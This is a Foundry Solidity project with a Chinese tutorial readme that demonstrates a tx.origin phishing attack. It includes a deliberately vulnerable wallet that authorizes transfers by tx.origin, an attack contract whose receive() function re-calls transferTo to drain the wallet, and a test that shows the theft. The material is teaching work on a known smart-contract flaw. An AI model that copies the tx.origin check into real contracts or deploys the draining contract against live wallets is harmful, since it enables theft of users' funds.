├── .gitignore ├── .gitmodules ├── foundry.toml ├── src ├── TxAttackWallet.sol ├── TxUserWallet.sol └── test │ └── TxUserWallet.t.sol └── readme.md /.gitignore: -------------------------------------------------------------------------------- 1 | cache/ 2 | out/ 3 | -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "lib/ds-test"] 2 | path = lib/ds-test 3 | url = https://github.com/dapphub/ds-test 4 | [submodule "lib/forge-std"] 5 | path = lib/forge-std 6 | url = https://github.com/brockelmore/forge-std 7 | -------------------------------------------------------------------------------- /foundry.toml: -------------------------------------------------------------------------------- 1 | [default] 2 | src = 'src' 3 | out = 'out' 4 | libs = ['lib'] 5 | remappings = ['ds-test/=lib/ds-test/src/'] 6 | tx_origin = '0x9BEF5148fD530244a14830f4984f2B76BCa0dC58' 7 | 8 | # See more config options https://github.com/gakonst/foundry/tree/master/config -------------------------------------------------------------------------------- /src/TxAttackWallet.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.0; 2 | 3 | import "./TxUserWallet.sol"; 4 | 5 | /*interface TxUserWalletX { 6 | function transferTo(address payable dest, uint256 amount) external; 7 | } 8 | */ 9 | contract TxAttackWallet is DSTest { 10 | address payable owner; 11 | 12 | constructor() { 13 | owner = payable(msg.sender); 14 | } 15 | 16 | fallback() external payable { 17 | emit log_named_address("fallback", msg.sender); 18 | } 19 | 20 | receive() external payable { 21 | TxUserWallet(msg.sender).transferTo(payable(this), 1 ether); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /src/TxUserWallet.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.0; 3 | import "ds-test/test.sol"; 4 | 5 | contract TxUserWallet is DSTest { 6 | address owner; 7 | 8 | constructor() { 9 | owner = msg.sender; 10 | //emit log_named_address("owner", owner); 11 | } 12 | 13 | function transferTo(address payable dest, uint256 amount) public payable { 14 | emit log_named_address("tx.origin", tx.origin); 15 | emit log_named_address("owner", owner); 16 | require(tx.origin == owner); 17 | dest.call{value: amount}(""); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /src/test/TxUserWallet.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.0; 3 | 4 | import "ds-test/test.sol"; 5 | import "../TxUserWallet.sol"; 6 | import "../TxAttackWallet.sol"; 7 | import "forge-std/stdlib.sol"; 8 | import "forge-std/Vm.sol"; 9 | 10 | contract TxUserWalletTest is DSTest, stdCheats { 11 | TxUserWallet alice; 12 | TxAttackWallet bob; 13 | 14 | function setUp() public { 15 | startHoax(address(0x9BEF5148fD530244a14830f4984f2B76BCa0dC58), 8 ether); 16 | alice = new TxUserWallet(); 17 | hoax(address(alice), 5 ether); 18 | bob = new TxAttackWallet(); 19 | hoax(address(bob), 5 ether); 20 | emit log_named_uint("alice", address(alice).balance); 21 | emit log_named_address("alice", address(alice)); 22 | emit log_named_address("bob", address(bob)); 23 | } 24 | 25 | function testExample() public payable { 26 | //startHoax(address(0x9BEF5148fD530244a14830f4984f2B76BCa0dC58)); 27 | alice.transferTo(payable(bob), 1 ether); 28 | emit log_named_uint("alice", address(alice).balance); 29 | emit log_named_uint("bob", address(bob).balance); 30 | emit log_string("testok"); 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /readme.md: -------------------------------------------------------------------------------- 1 | ## 前言 2 | 3 | 昨天发了一篇,[tx.origin、msg.sender有什么不一样 | 登链社区 | 深入浅出区块链技术 (learnblockchain.cn)](https://learnblockchain.cn/article/3568),被认为太水了,所以把tx.origin 攻击的代码实现一遍,让大家有个清晰的认识。 4 | 5 | 其实前面的**不一样**是今天可以这么干的基础。 6 | 7 | 8 | 实现的过程有参考:[Unboxing tx.origin. Rune Token case (adrianhetman.com)](https://www.adrianhetman.com/unboxing-tx-origin/) 9 | 10 | ## 原理 11 | 12 | 从被攻击的代码讲起: 13 | 14 | ``` 15 | contract TxUserWallet is DSTest { 16 | address owner; 17 | 18 | constructor() { 19 | owner = msg.sender; 20 | //emit log_named_address("owner", owner); 21 | } 22 | 23 | function transferTo(address payable dest, uint256 amount) public payable { 24 | emit log_named_address("tx.origin", tx.origin); 25 | emit log_named_address("owner", owner); 26 | require(tx.origin == owner); //** 重点 ** 27 | dest.call{value: amount}(""); 28 | } 29 | } 30 | ``` 31 | 32 | 这个合约transferTo函数,通过检查tx.origin来确定是不是合约拥有人在操作合约。 33 | 普通情况都是没问题的。tx.origin都是合约拥有人,可是就怕有精心构造的攻击者。 34 | 做到这些,还是要熟悉solidity的代码,上次我们讲重入 [重入攻击代码实现 | 登链社区 | 深入浅出区块链技术 (learnblockchain.cn)](https://learnblockchain.cn/article/3514),讲了`fallback` 函数,这次我们用到`receive`函数,这个函数会在合约收到币的时候被调用。 35 | 36 | 所以,我们需要构造一种情况,`TxUserWallet ` 合约调用transferTo 给攻击合约转账,攻击合约在`receive`函数 再次调用transferTo,这个时候,tx.origin 就还是原来的账号操作人,代码写得好,你就可以转空`TxUserWallet ` 合约里的钱。 37 | 38 | ## 攻击代码 39 | 40 | 下面我们上攻击合约代码: 41 | 42 | ``` 43 | contract TxAttackWallet is DSTest { 44 | address payable owner; 45 | 46 | constructor() { 47 | owner = payable(msg.sender); 48 | } 49 | 50 | fallback() external payable { 51 | emit log_named_address("fallback", msg.sender); 52 | } 53 | 54 | receive() external payable { 55 | TxUserWallet(msg.sender).transferTo( 56 | payable(this), 57 | msg.sender.balance - 1 ether 58 | ); 59 | } 60 | } 61 | ``` 62 | 63 | ## 构造测试用例 64 | 65 | ``` 66 | function setUp() public { 67 | startHoax(address(0x9BEF5148fD530244a14830f4984f2B76BCa0dC58), 8 ether); 68 | alice = new TxUserWallet(); //被攻击对象 69 | hoax(address(alice), 5 ether); //放5个币 70 | bob = new TxAttackWallet(); //攻击合约 71 | hoax(address(bob), 5 ether); //放5个币 72 | emit log_named_uint("alice", address(alice).balance); 73 | emit log_named_address("alice", address(alice)); 74 | emit log_named_address("bob", address(bob)); 75 | } 76 | ``` 77 | 78 | ``` 79 | function testExample() public payable { 80 | //startHoax(address(0x9BEF5148fD530244a14830f4984f2B76BCa0dC58)); 81 | alice.transferTo(payable(bob), 1 ether); //被攻击者给攻击合约转1个币 82 | emit log_named_uint("alice", address(alice).balance); 83 | emit log_named_uint("bob", address(bob).balance); 84 | emit log_string("testok"); 85 | } 86 | ``` 87 | 88 | 结果如下: 89 | ![16451845821.png](https://img.learnblockchain.cn/attachments/2022/02/3ix6dgTn620f865175253.png) 90 | 91 | 还有关键性一步,在foundry.toml里设置, 92 | 93 | `tx_origin = '0x9BEF5148fD530244a14830f4984f2B76BCa0dC58'` 94 | 95 | 这是部署合约的操作人。 96 | 97 | --------------------------------------------------------------------------------